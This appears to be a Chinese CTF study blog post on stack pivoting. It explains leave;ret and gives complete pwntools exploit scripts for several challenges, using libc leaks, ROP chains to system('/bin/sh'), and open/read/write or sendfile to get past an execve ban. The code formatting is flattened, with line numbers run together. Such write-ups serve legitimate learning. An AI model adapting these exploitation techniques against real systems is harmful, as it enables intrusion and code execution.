栈迁移专题学习 📚 看了好几篇栈迁移的文章,🤔 越看越懵,😵💫 感觉自己和没学 pwn 的一样。
原理学习 32位
首先先了解栈的结构
(自己画的,有错误望指正)
了解栈的结构后,我们再来仔细了解一下leave;ret这两个指令
1 2 3 4 5 call func() ----------- push eip + 4 push ebp mov ebp,esp
如果要保持栈平衡就要在call退出的时候执行相反的操作
1 2 3 4 5 6 7 8 leave ---------- mov esp,ebp pop ebp ************ ret ------------ pop eip
什么时候用栈迁移:
(1).有栈溢出漏洞。
(2).溢出的长度不够。
所以我们就要把栈迁移到一个长度够大的区域(通常是bss段),那怎么把栈迁移呢,主要就是控制栈顶的esp指针指向我们想要他到达的地方(迁移后的地址),从而控制程序的执行流。
栈迁移最重要就是怎么利用leave;ret进行栈迁移
1 2 3 leave //mov esp;ebp 把ebp传给esp,此时esp和ebp就在同一个位置了,他们指向同一个内容 //pop ebp 把栈顶的内容弹给ebp。此时ebp指向的就是栈顶的内容了 由于esp时刻指向的是栈顶的位置,栈顶的内容弹出后,esp会下降一个单位
1 ret //pop eip 就是把esp指向地址弹如eip,同时esp下降一个单元
了解了栈的结构和leave;ret的执行过程后,就可以来了解栈迁移的原理了
栈迁移的原理:栈迁移一共要执行两次leave;ret
1.首先我们先了解一下此时栈上的分布情况
1 2 3 4 5 6 7 主要如下图,这里注释: 0xffff100c--->system的返回地址 0xffff1010--->system参数的存储地址 0xffff1014--->存储/bin 0xffff1018--->存储/sh 0xffff1020--->0xffff1004 也就是ebp--->0xffff1004 0xffff1024--->leave ret; 原本是return address;
2.第一次leave;ret:
1 2 3 由上面的leave;ret的执行过程,首先leave:mov ebp;esp,让ebp和esp在同一个位置;leave: pop ebp,此时我们把ebp所指的内容换成 了需要迁移到的位置,所以pop ebp后esp指向的就是需要迁移到的位置。然后我们把return address换成leave ret的地址,就会再次执 行leave ret。
3.第二次leave;ret:
1 2 3 同样是leave:mov ebp;esp,让ebp和esp在同一个位置;但是此时ebp指向的是需要迁移到的位置,所以esp此时指向的也是需要迁移到的位 置;leave:pop ebp,我们把return address的地址换成system的地址,就使得esp下降一个单元后正好指向system的地址。ret:pop eip,最终eip指向system的地址--->getshell
了解完了32位的栈溢出,现在来了解64位栈溢出
64位 64位和32位栈的结构是相似的,主要不同就是调用函数时传参的不同
实例 32位 buuctf-ciscn_2019_es_2
IDA反编译
计算一下溢出的长度0x30 - 0x28 = 8;很明显长度不够,要用到栈迁移。
先给出exp,在具体解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *r=remote('node5.buuoj.cn' ,29440 ) context.log_level='debug' sys_addr=0x8048400 leave=0x080484b8 payload=b'a' *0x24 +b'bbbb' r.recvuntil(b'Welcome, my friend. What' s your name?') r.send(payload) r.recvuntil(' bbbb') ebp=u32(p.recv(4).ljust(4,b' \x00')) buf=ebp-0x38 payload=(p32(sys_addr)+b' aaaa'+p32(buf+12)+b' /bin /sh\x00').ljust(0x28,b' a')+p32(buf-4)+p32(leave) r.send(payload) r.interactive()
首先找到leave ret的地址可以用ROPgadget找,也可以直接在IDA的汇编代码里面找
(1)用ROPgadget
1 ROPgadget --binary ciscn_2019_es_2 --only "leave|ret"
(2)在IDA的汇编代码里面找
找到system的plt地址
在vul函数中有两个溢出点,所以我们就需要先通过第一个溢出泄露出ebp的地址,再构造栈迁移的payload
(1)首先泄露ebp的地址
1 2 3 4 5 6 7 8 9 from pwn import *r = process('./pwn' ) payload1= b'a' *0x24 + b'b' *4 r.send(payload1) r.recvuntil('bbbb' ) ebp_addr = u32(r.recv(4 )) print (hex (ebp_addr))r.interactive()
(2)构造栈迁移的payload
1 2 buf=ebp-0x38 payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
buf=ebp-0x38 通过调试可以得到,我们最后调试,先解释payload
1 2 3 4 5 payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf)+p32(leave) --------------------------------------------------------------------------------------------------------------- buf + 12:p32(sys_addr)=4,b'aaaa'=4,p32(buf+12)=4,4+4+4=12所以buf+12就是/bin/sh的起始地址 p32(buf):栈迁移所到达的位置 leave:leave ret;
0xfffd158 - 0xfffd130 = 0x28 0xfffd158回弹到0xfffd168,正好0x28 + 0x10 = 0x38;
64位 actf_2019_babystack
64位,只开了NX,先给出exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *from LibcSearcher import *context.log_level = 'debug' def debug (): gdb.attach(io) pause() io = remote("node5.buuoj.cn" ,26651 ) elf =ELF('./ACTF_2019_babystack' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_addr = 0x4008F6 io.recvuntil(b'>' ) io.sendline(b'224' ) io.recvuntil(b'Your message will be saved at ' ) stack_addr = io.recv(14 ) stack_addr =int (stack_addr,16 ) print (hex (stack_addr))pop_rdi_ret = 0x400ad3 pop_rsi__r15_ret =0x400ad1 leave_ret = 0x400A18 offest = 0xd0 payload = b'a' *8 +p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) payload =payload.ljust(0xd0 ,b'a' ) payload+=p64(stack_addr)+p64(leave_ret) io.recvuntil(b'>' ) io.send(payload) puts_addr=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print ('puts_addr:' +hex (puts_addr))libc = LibcSearcher('puts' ,puts_addr) system_addr = puts_addr-libc.dump('puts' )+libc.dump('system' ) str_bin_sh = puts_addr-libc.dump('puts' )+libc.dump('str_bin_sh' ) io.recvuntil(b'>' ) io.sendline(b'224' ) io.recvuntil(b'Your message will be saved at ' ) stack_addr = io.recv(14 ) stack_addr =int (stack_addr,16 ) payload = b'a' *8 +p64(leave_ret+1 )+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr) payload =payload.ljust(0xd0 ,b'a' ) payload+=p64(stack_addr)+p64(leave_ret) io.send(payload) io.interactive()
这个很明显要栈迁移了
这个附件里面没有找到system的地址,所以我们只能通过泄露libc来打了
1 2 3 4 payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #ret2libc的payload payload =payload.ljust(0xd0,b'a') #填充垃圾数据 payload+=p64(stack_addr)+p64(leave_ret) #stack_addr就是栈的起始位置,也就是我要迁移到的位置,本题直接回打印出来,接受就可以了 b'a'*8是因为pop rbp的时候 rsp会+8,所以要。
发送payload后,就会泄露libc
1 2 3 4 payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr) #system(/bin/sh) leave_ret+1--->retn用于堆栈平衡 payload =payload.ljust(0xd0,b'a')#填充垃圾数据 payload+=p64(stack_addr)+p64(leave_ret) #同理最终栈迁移执行shell
栈迁移到这里基本就总结结束啦~🌈✨😊 这里记录一个难的栈迁移
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall main (int a1, char **a2, char **a3) { char buf[128 ]; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("Are you the king of stack migrate?" ); read(0 , buf, 0x90u LL); puts ("Good luck." ); return 0LL ; }
0x90 - 0x80 = 0x10典型的栈迁移,先给exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import *context(os='linux' , arch='amd64' , log_level='info' ) io = remote('nc1.ctfplus.cn' , 30481 ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) leave_ret = 0x4011c8 sa = lambda a, b: io.sendafter(a, b) ru = lambda a: io.recvuntil(a) sd = lambda x: io.send(x) inter = lambda : io.interactive() offset = 0x80 padding = offset + 0x8 bss = 0x404020 + 0x500 pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e ) sa(b'Are you the king of stack migrate?\n' , pay_pivot) ru(b'Good luck.\n' ) payload = flat( 0x401146 , elf.got['puts' ], elf.plt['puts' ], 0x40112d , bss + offset + 0x200 , 0x40119e , cyclic(0x50 ), bss - 0x8 , leave_ret ) sd(payload) ru(b'Good luck.\n' ) puts_addr = u64(io.recv(6 ).ljust(8 , b'\x00' )) libc_base = puts_addr - libc.symbols['puts' ] log.success(f"libc_base: {hex (libc_base)} " ) system_addr = libc_base + libc.symbols['system' ] binsh_addr = libc_base + next (libc.search(b'/bin/sh' )) payload = flat( pop_rdi := 0x401146 , binsh_addr, system_addr ).ljust(0x80 , b'\x00' ) payload += p64(bss + 0x200 - 0x8 ) + p64(0x4011c8 ) sleep(0.5 ) io.send(payload) io.interactive()
1 这里只有一个read函数,所以我们迁到栈上几乎是不可能的了,所以我们就想到迁到bss的段上
这里把payload怎么构造和解题思路详细写一下。
解题思路
1 先将栈迁到bss的段上,返回地址覆盖为read函数,再次读入时泄露puts的地址,返回地址依然为read,再次读入getshell。
详细解释一下这个payload
1 pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e )
read_addr = 0x40119e,rbp –>p64(bss + offset),返回地址覆盖为read_addr(raed_addr后面有leave_ret)所以完成了,将栈迁移到bss + offset的位置进行读入。
1 2 3 4 5 6 payload = flat( 0x401146 , elf.got['puts' ], elf.plt['puts' ], 0x40112d , bss + offset + 0x200 , 0x40119e , cyclic(0x50 ), bss - 0x8 , leave_ret )
0x401146, elf.got[‘puts’], elf.plt[‘puts’]写了puts的地址的payload。
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage;利用pop_rbp再次利用read。
cyclic(0x50)–>0x401146, elf.got[‘puts’], elf.plt[‘puts’]和0x40112d, bss + offset + 0x200, 0x40119e加在一起是0x30+0x50=0x80。
bss - 0x8, leave_ret ;将栈迁移到 bss - 0x8的位置。pop_rbp是怎么利用的呢,首先read读入这串payload后先执行 0x401146,
elf.got[‘puts’], elf.plt[‘puts’]泄露puts的地址,然后pop_rbp。rbp就储存了bss+offset + 0x200的位置,接着执行0x40119e,从bss + offset +
0x200的位置开始read。
1 2 3 4 5 6 7 payload = flat( pop_rdi := 0x401146 , binsh_addr, system_addr ).ljust(0x80 , b'\x00' ) payload += p64(bss + 0x200 - 0x8 ) + p64(0x4011c8 )
payload = flat( pop_rdi := 0x401146, binsh_addr, system_addr ).ljust(0x80, b’\x00’)是构造system(/bin/sh)
payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)完成栈迁移。
[Black Watch 入群题]PWN1 这题不难记录一下题目和exp就可以了
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { vul_function(); puts ("GoodBye!" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 ssize_t vul_function () { size_t v0; size_t v1; char buf[24 ]; v0 = strlen (m1); write(1 , m1, v0); read(0 , &s, 0x200u ); v1 = strlen (m2); write(1 , m2, v1); return read(0 , buf, 0x20u ); }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *from LibcSearcher import *p = remote('node5.buuoj.cn' , 27611 ) context(arch='i386' , os='linux' , log_level='debug' ) e = ELF('./spwn' ) write_plt = e.plt['write' ] write_got = e.got['write' ] read_plt = e.plt['read' ] main_addr = 0x08048513 payload1 = b'aaaa' + p32(write_plt) + p32(main_addr) + p32(1 ) + p32(write_got) + p32(4 ) p.recvuntil('What is your name?' ) p.send(payload1) p.recvuntil('What do you want to say?' ) payload2 = b'a' * 0x18 + p32(0x0804A300 ) + p32(0x08048511 ) p.send(payload2) write_addr = u32(p.recv(4 )) log.success("Leaked write address: " + hex (write_addr)) obj = LibcSearcher('write' , write_addr) libc_base = write_addr - obj.dump('write' ) sys_addr = libc_base + obj.dump('system' ) bin_sh_addr = libc_base + obj.dump('str_bin_sh' ) p.recvuntil('What is your name?' ) payload3 = b'aaaa' + p32(sys_addr) + p32(0 ) + p32(bin_sh_addr) p.send(payload3) p.recvuntil('What do you want to say?' ) payload4 = b'a' * 0x18 + p32(0x0804A300 ) + p32(0x08048511 ) p.send(payload4) p.interactive()
gyctf_2020_borrowstack 这题不难也记录一下题目和exp就可以了
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall main (int argc, const char **argv, const char **envp) { char buf[96 ]; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); puts ("锛積lcome to Stack bank,Tell me what you want" ); read(0 , buf, 0x70u LL); puts ("Done!You can check and use your borrow stack now!" ); read(0 , &bank, 0x100u LL); return 0 ; }
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *p = remote('node4.buuoj.cn' , 25199 ) context(arch='amd64' , os='linux' , log_level='debug' ) libc = ELF('libc-2.23.so' ) e = ELF('./a' ) puts_plt_addr = e.plt['puts' ] puts_got_addr = e.got['puts' ] pop_rdi_addr = 0x400703 level_ret_addr = 0x400699 bss_addr = 0x601080 ret_addr = 0x4004c9 main_addr = 0x400626 payload1 = 0x60 * b'a' + p64(bss_addr) + p64(level_ret_addr) p.send(payload1) payload2 = p64(ret_addr) * 20 payload2 += p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) payload2 += p64(main_addr) p.sendafter(b'Done!You can check and use your borrow stack now!\n' , payload2) puts_addr = u64(p.recv(6 ).ljust(8 , b'\x00' )) print (f"Leaked puts address: {hex (puts_addr)} " )libc_base = puts_addr - libc.symbols['puts' ] shell = libc_base + 0x4526a system("/bin/sh" ) 地址 print (f"Shell address: {hex (shell)} " )payload3 = 0x60 * b'a' + p64(0xdeadbeef ) + p64(shell) p.recvuntil(b'u want\n' ) p.send(payload3) p.recvuntil(b'Done!You can check and use your borrow stack now!\n' ) p.send(b'1' ) p.interactive()
Basectf2024 stack in stack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { __int64 buf[6 ]; sub_4011FE(a1, a2, a3); memset (buf, 0 , sizeof (buf)); puts ("It looks like something fell off mick0960." ); printf ("%p\n" , buf); if ( (int )read(0 , buf, 0x40u LL) < 0 ) { perror("An error occurred while reading!" ); exit (1 ); } return 0LL ; }
这里主要利用了栈迁移,进行第一次泄露puts的地址,并且返回main。再次进行栈迁移,执行ROP链getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *p = process('./pwn' ) elf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) p.recvuntil(b'It looks like something fell off mick0960.\n' ) buf_addr = int (p.recv(14 ), 16 ) print (hex (buf_addr))main_addr = 0x40124a leave = 0x4012f2 sub_4011C6 = 0x4011dd payload = p64(0 ) + p64(sub_4011C6) + p64(0 ) + p64(main_addr) payload += p64(0 )*2 payload += p64(buf_addr) + p64(leave) p.send(payload) p.recvuntil(b'0x' ) libc_base = int (p.recv(12 ), 16 ) - libc.sym.puts print (hex (libc_base))p.recvuntil(b'It looks like something fell off mick0960.\n' ) buf_addr = int (p.recv(14 ), 16 ) system = libc_base + libc.sym.system binsh = libc_base + next (libc.search(b'/bin/sh' )) pop_rdi = libc_base + 0x2a3e5 ret = 0x40101a payload = b'aaaa' + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) + p64(0 ) payload += p64(buf_addr) + p64(leave) p.send(payload) p.interactive()
1 ROPgadget --binary libc.so.6 --only "pop|ret" #查找pop_rdi的偏移
[SWPUCTF 2024 秋季新生赛]不可名状的东西 栈迁移+ORW
1 2 3 4 5 6 7 8 9 int __fastcall main(int argc, const char **argv, const char **envp) { char buf[128]; // [rsp+0h] [rbp-80h] BYREF init(argc, argv, envp); puts("Please enter your name!"); read(0, buf, 0x98uLL); return 0; }
0x98 - 0x80 -0x08 = 16太短栈迁移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *context(os='linux' , arch='amd64' , log_level='info' ) io = remote('node6.anna.nssctf.cn' , 23555 ) elf = ELF('./level1' ) libc = ELF('./libc.so.6' ) leave_ret = 0x40120F sa = lambda a, b: io.sendafter(a, b) ru = lambda a: io.recvuntil(a) sd = lambda x: io.send(x) inter = lambda : io.interactive() offset = 0x80 padding = offset + 0x8 bss = 0x404020 + 0x700 pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF ) sa(b'Please enter your name!\n' , pay_pivot) payload = flat( 0x4011C5 , 0x404018 , 0x401060 , 0x4011C8 , bss + offset + 0x200 , 0x4011EF , cyclic(0x50 ), bss - 0x8 , leave_ret ) sd(payload) puts_addr = u64(io.recv(6 ).ljust(8 , b'\x00' )) libc_base = puts_addr - libc.symbols['puts' ] log.success(f"libc_base: {hex (libc_base)} " ) system_addr = libc_base + libc.symbols['system' ] binsh_addr = libc_base + next (libc.search(b'/bin/sh' )) payload = b'a' *8 +p64(leave_ret+1 )+p64(leave_ret+1 )+p64(leave_ret+1 )+p64(0x4011C5 )+p64(binsh_addr)+p64(system_addr) payload =payload.ljust(0x80 ,b'a' ) payload+=p64(bss + 0x200 - 0x8 )+p64(leave_ret) sleep(0.5 ) io.send(payload) io.interactive()
开始直接用system(/bin/sh)打失败了
1 2 3 4 5 6 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x06 0x00 0x00 0x00000000 return KILL
execve被禁了
用ORW
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 payload = ( b"./flag\x00\x00" + p64(0x4011C5 ) + p64(bss + 0x200 ) + p64(pop_rsi) + p64(0 ) + p64(open_addr) + p64(0x4011C5 ) + p64(3 ) + p64(pop_rsi) + p64(buffer_addr) + p64(pop_rdx) + p64(0x100 ) + p64(read_addr) + p64(0x4011C5 ) + p64(1 ) + p64(pop_rsi) + p64(buffer_addr) + p64(pop_rdx) + p64(0x100 ) + p64(write_addr)
20*8 = 160 >0x80所以不能,最终用open + sendflie成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context(os='linux' , arch='amd64' , log_level='info' ) io = remote('node6.anna.nssctf.cn' , 24512 ) elf = ELF('./level1' ) libc = ELF('./libc.so.6' ) leave_ret = 0x40120F sa = lambda a, b: io.sendafter(a, b) ru = lambda a: io.recvuntil(a) sd = lambda x: io.send(x) inter = lambda : io.interactive() offset = 0x80 padding = offset + 0x8 bss = 0x404020 + 0x700 pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x4011EF ) sa(b'Please enter your name!\n' , pay_pivot) payload = flat( 0x4011C5 , 0x404018 , 0x401060 , 0x4011BB , bss + offset + 0x200 , 0x4011EF , cyclic(0x50 ), bss - 0x8 , leave_ret ) sd(payload) puts_addr = u64(io.recv(6 ).ljust(8 , b'\x00' )) libc_base = puts_addr - libc.symbols['puts' ] log.success(f"libc_base: {hex (libc_base)} " ) pop_rdx_rbx = libc_base + 0x904a9 pop_rsi = libc_base + 0x2be51 pop_rcx = libc_base + 0x3d1ee open_addr = libc_base + libc.sym['open' ] sendfile = libc_base + libc.sym['sendfile' ] payload3 = b"./flag\x00\x00" + p64(0x4011C5 ) + p64(bss + 0x200 ) + p64(pop_rsi) + p64(0 ) + p64(open_addr) payload3 += p64(0x4011C5 ) + p64(1 ) + p64(pop_rsi) + p64(3 ) + p64(pop_rdx_rbx) + p64(0 )*2 + p64(pop_rcx) + p64(0x40 ) + p64(sendfile) payload3 += p64(bss + 0x200 )+ p64(leave_ret) sleep(0.5 ) io.send(payload3) io.interactive()
[NSSRound#14 Basic]rbp 这题就是0x210可以用ORW,我一开始用sendflie可是没通。
1 2 ROPgadget --binary libc.so.6 --only "pop|ret" | grep "pop rcx ; ret" 0x0000000000118d4f : pop rcx ; ret 0xf66
感觉是不是0xf66导致pop rcx不能用,就直接用orw了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import *from ctypes import *from struct import packbanary = "./rbp" elf = ELF(banary) libc=ELF("libc.so.6" ) ip = 'node4.anna.nssctf.cn' port = 28184 local = 0 if local: io = process(banary) else : io = remote(ip, port) context(log_level = 'debug' , os = 'linux' , arch = 'amd64' ) def dbg (): gdb.attach(io) pause() s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) iuu32 = lambda : int (io.recv(10 ),16 ) iuu64 = lambda : int (io.recv(6 ),16 ) uheap = lambda : u64(io.recv(6 ).ljust(8 ,b'\x00' )) lg = lambda addr : log.info(addr) ia = lambda : io.interactive() offset = 0x210 pop_rdi=0x0000000000401353 pop_rbp=0x00000000004011bd read=0x0000000000401292 leave_ret=0x000000000040121d ret=0x000000000040101a puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] bss = 0x404060 + 0x700 pop_rsi_r15=0x0000000000401351 ru("try it" ) payload=b'A' *0x210 +p64(bss+0x210 )+p64(read) s(payload) sleep(0.5 ) payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp)+p64(bss + offset + 0x200 )+p64(read) payload=payload.ljust(0x210 ,b'\x00' )+p64(bss-8 )+p64(leave_ret) s(payload) libcbase=uu64()-libc.sym['puts' ] lg("libcbase;" +hex (libcbase)) open =libcbase+libc.sym['open' ]read=libcbase+libc.sym['read' ] write=libcbase+libc.sym['write' ] pop_rdx=libcbase+0x0000000000142c92 sleep(0.5 ) flag_addr=bss + 0x200 payload=b'flag' .ljust(8 ,b'\x00' ) payload+=p64(ret)+p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi_r15)+p64(0 )+p64(0 )+p64(open ) payload+=p64(pop_rdi)+p64(3 )+p64(pop_rsi_r15)+p64(elf.bss(0x100 ))+p64(0 )+p64(pop_rdx)+p64(0x50 )+p64(read) payload+=p64(pop_rdi)+p64(1 )+p64(pop_rsi_r15)+p64(elf.bss(0x100 ))+p64(0 )+p64(pop_rdx)+p64(0x50 )+p64(write) payload=payload.ljust(0x210 ,b'\x00' )+p64(bss + 0x200 )+p64(leave_ret) s(payload) ia()